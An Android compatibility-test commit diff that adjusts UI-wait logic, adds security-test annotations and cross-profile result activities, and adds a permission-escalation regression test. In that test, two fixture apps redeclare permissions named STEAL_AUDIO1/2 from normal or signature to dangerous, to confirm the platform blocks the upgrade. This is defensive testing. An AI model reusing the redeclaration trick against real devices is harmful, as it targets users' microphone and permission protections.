Merge "Attempt to reduce flakiness of some SimPhonebook tests" am: c5ff90ec9a am: a80b0f70e7
Original change: https://android-review.googlesource.com/c/platform/cts/+/1588153
MUST ONLY BE SUBMITTED BY AUTOMERGER
Change-Id: Ibcd8e4fa575767be28df1aee3a86b158b7846591
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 7fe8df3..f91fa14 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2535,7 +2535,7 @@
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.automotive"/>
+ android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
</activity>
@@ -4300,10 +4300,13 @@
<meta-data android:name="test_category" android:value="@string/test_category_tv" />
<meta-data android:name="test_required_features"
android:value="android.software.leanback" />
+ <meta-data android:name="test_required_configs"
+ android:value="config_tv_panel"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
</activity>
+
<activity android:name=".screenpinning.ScreenPinningTestActivity"
android:label="@string/screen_pinning_test">
<intent-filter>
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
index 277be5f..fd8b045 100644
--- a/apps/hotspot/AndroidManifest.xml
+++ b/apps/hotspot/AndroidManifest.xml
@@ -5,6 +5,7 @@
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<application>
<activity android:name=".MainActivity">
<intent-filter>
diff --git a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
index 2e0ed87..eb81563 100644
--- a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
+++ b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
@@ -16,5 +16,11 @@
ActivityCompat.requestPermissions(
this, new String[] {Manifest.permission.ACCESS_COARSE_LOCATION}, 2);
}
+
+ if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
+ != PackageManager.PERMISSION_GRANTED) {
+ ActivityCompat.requestPermissions(
+ this, new String[] {Manifest.permission.ACCESS_FINE_LOCATION}, 2);
+ }
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 07133d6..c2e4224 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -36,7 +36,7 @@
}
public static UiObject2 waitFindObject(BySelector selector) throws UiObjectNotFoundException {
- return waitFindObject(selector, 10_000);
+ return waitFindObject(selector, 20_000);
}
public static UiObject2 waitFindObject(BySelector selector, long timeoutMs)
@@ -51,21 +51,33 @@
public static UiObject2 waitFindObjectOrNull(BySelector selector)
throws UiObjectNotFoundException {
- return waitFindObjectOrNull(selector, 10_000);
+ return waitFindObjectOrNull(selector, 20_000);
}
public static UiObject2 waitFindObjectOrNull(BySelector selector, long timeoutMs)
throws UiObjectNotFoundException {
UiObject2 view = null;
long start = System.currentTimeMillis();
+
+ boolean isAtEnd = false;
+ boolean wasScrolledUpAlready = false;
while (view == null && start + timeoutMs > System.currentTimeMillis()) {
- view = getUiDevice().wait(Until.findObject(selector), timeoutMs / 10);
+ view = getUiDevice().wait(Until.findObject(selector), 1000);
if (view == null) {
UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
scrollable.setSwipeDeadZonePercentage(0.25);
if (scrollable.exists()) {
- scrollable.scrollForward();
+ if (isAtEnd) {
+ if (wasScrolledUpAlready) {
+ return null;
+ }
+ scrollable.scrollToBeginning(Integer.MAX_VALUE);
+ isAtEnd = false;
+ wasScrolledUpAlready = true;
+ } else {
+ isAtEnd = !scrollable.scrollForward();
+ }
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index fbc01df..72de9bb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -21,6 +21,8 @@
import static org.junit.Assert.fail;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -379,6 +381,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
if (mIsUnsupportedDevice) {
return;
@@ -388,6 +391,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionGrantedInPackageInfo() throws Exception {
if (mIsUnsupportedDevice) {
return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
new file mode 100644
index 0000000..e0fe368
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class PermissionEscalationTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
+
+ private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
+ "CtsDeclareNonRuntimePermissions.apk";
+ private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
+ "CtsEscalateToRuntimePermissions.apk";
+
+ private CompatibilityBuildHelper mBuildHelper;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
+ assertNotNull(mBuildHelper);
+
+ getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+
+ getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ }
+
+ public void testNoPermissionEscalation() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+ runDeviceTests(ESCALATE_PERMISSION_PKG,
+ "com.android.cts.escalatepermission.PermissionEscalationTest",
+ "testCannotEscalateNonRuntimePermissionsToRuntime");
+ }
+
+ @SecurityTest
+ public void testNoPermissionEscalationAfterReboot() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+ getDevice().reboot();
+ runDeviceTests(ESCALATE_PERMISSION_PKG,
+ "com.android.cts.escalatepermission.PermissionEscalationTest",
+ "testRuntimePermissionsAreNotGranted");
+ }
+
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ }
+}
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
similarity index 68%
rename from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
rename to hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index dd59e9c..4cbd602 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -14,7 +14,18 @@
// limitations under the License.
//
-android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+android_test {
+ name: "CtsDeclareNonRuntimePermissions",
+ defaults: ["cts_support_defaults"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "mts",
+ "sts",
+ ],
+ dex_preopt: {
+ enabled: false,
+ },
}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..411a66b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.escalate.permission">
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="normal"/>
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="signature"/>
+
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+ <application android:hasCode="false"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
index f153697..066996c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
@@ -27,11 +27,13 @@
"ctsdeviceutillegacy-axt",
"ctstestrunner-axt",
"testng",
+ "platform-test-annotations",
],
// tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 23593b0..6905564 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -70,6 +70,7 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import android.platform.test.annotations.SecurityTest;
import com.android.cts.util.TestResult;
@@ -1171,11 +1172,13 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionGrantedInPackageInfo() throws Exception {
assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
index a39573d..aa8aa3a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
@@ -31,6 +31,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
index bec27ae..5a2a252 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
@@ -25,6 +25,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
index b7801a9..65fd66f 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
@@ -26,6 +26,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
index 4a460b1..51417fd 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
resource_dirs: ["res"],
sdk_version: "current",
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
similarity index 60%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index dd59e9c..4a054d2 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -14,7 +14,23 @@
// limitations under the License.
//
-android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+android_test {
+ name: "CtsEscalateToRuntimePermissions",
+ defaults: ["cts_support_defaults"],
+ static_libs: ["androidx.test.rules"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "mts",
+ "sts",
+ ],
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
+ },
}
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..1ac2790
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.escalate.permission">
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="dangerous"/>
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="dangerous"/>
+
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+ <application/>
+
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.escalate.permission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
new file mode 100644
index 0000000..bd208bc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Just need this dummy file to force building Manifest.java. -->
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="keysets_perm_desc">keysets_perm_description</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
new file mode 100644
index 0000000..7d866ab
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.escalatepermission;
+
+import static org.junit.Assert.assertSame;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.escalate.permission.Manifest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PermissionEscalationTest {
+ @Test
+ public void testCannotEscalateNonRuntimePermissionsToRuntime() throws Exception {
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ // Ensure normal permission cannot be made dangerous
+ PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+ assertSame("Shouldn't be able to change normal permission to dangerous",
+ PermissionInfo.PROTECTION_NORMAL, (stealAudio1Permission1.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ // Ensure signature permission cannot be made dangerous
+ PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+ assertSame("Shouldn't be able to change signature permission to dangerous",
+ PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+ }
+
+ @Test
+ public void testRuntimePermissionsAreNotGranted() throws Exception {
+ // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+ // during runtime but can become one during reboot.
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+ PackageManager.PERMISSION_DENIED);
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+ PackageManager.PERMISSION_DENIED);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
index ae3ff05..474df01 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
@@ -53,7 +53,14 @@
</intent-filter>
</activity>
- <activity android:name=".CrossProfileSameTaskLauncherActivity" android:exported="true"/>
+ <activity android:name=".CrossProfileSameTaskLauncherActivity"
+ android:exported="true"/>
+
+ <activity android:name=".CrossProfileResultCheckerActivity"
+ android:exported="true"/>
+
+ <activity android:name=".CrossProfileResultReturnerActivity"
+ android:exported="true"/>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
new file mode 100644
index 0000000..5689f32
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <TextView
+ android:id="@+id/cross_profile_result_checker_result"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 6b41018..7332521 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -19,6 +19,8 @@
import static android.Manifest.permission.INTERACT_ACROSS_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static com.google.common.truth.Truth.assertThat;
+
import static junit.framework.Assert.assertNotNull;
import static org.junit.Assert.assertEquals;
@@ -276,6 +278,23 @@
}
}
+ @Test
+ public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+ try {
+ mContext.startActivity(new Intent()
+ .setComponent(CrossProfileResultCheckerActivity.buildComponentName(mContext))
+ .putExtra(CrossProfileResultCheckerActivity.TARGET_USER_EXTRA, mTargetUser));
+
+ final UiObject2 textView = mDevice.wait(
+ Until.findObject(
+ By.text(CrossProfileResultCheckerActivity.SUCCESS_MESSAGE)),
+ TIMEOUT_WAIT_UI);
+ assertThat(textView).isNotNull();
+ } catch (Exception e) {
+ fail("unable to start cross-profile activity to obtain a returned result: " + e);
+ }
+ }
+
/**
* Calls {@link CrossProfileApps#startActivity(Intent, UserHandle, Activity)}. This can then be
* used by host-side tests.
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
new file mode 100644
index 0000000..49f2d9b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+/**
+ * An activity that launches {@link CrossProfileResultReturnerActivity} for result, then displays
+ * the string {@link #SUCCESS_MESSAGE} if successful.
+ *
+ * <p>Must be launched with intent extra {@link #TARGET_USER_EXTRA} with the numeric target user ID.
+ */
+public class CrossProfileResultCheckerActivity extends Activity {
+ static final String SUCCESS_MESSAGE = "Successfully received cross-profile result.";
+ static final String TARGET_USER_EXTRA = "TARGET_USER";
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ if (!intent.hasExtra(TARGET_USER_EXTRA)) {
+ throw new IllegalStateException(
+ "CrossProfileResultCheckerActivity started without " + TARGET_USER_EXTRA);
+ }
+ setContentView(R.layout.cross_profile_result_checker);
+ final Intent resultReturnerIntent =
+ new Intent().setComponent(
+ CrossProfileResultReturnerActivity.buildComponentName(this));
+ final UserHandle targetUser = intent.getParcelableExtra(TARGET_USER_EXTRA);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ getSystemService(CrossProfileApps.class),
+ crossProfileApps -> crossProfileApps.startActivity(
+ resultReturnerIntent, targetUser, this));
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ if (resultCode != CrossProfileResultReturnerActivity.RESULT_CODE) {
+ throw new IllegalStateException("Unknown result code: " + resultCode);
+ }
+ final TextView textView = findViewById(R.id.cross_profile_result_checker_result);
+ textView.setText(SUCCESS_MESSAGE);
+ }
+
+ static ComponentName buildComponentName(Context context) {
+ return new ComponentName(context, CrossProfileResultCheckerActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
new file mode 100644
index 0000000..8898e91
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
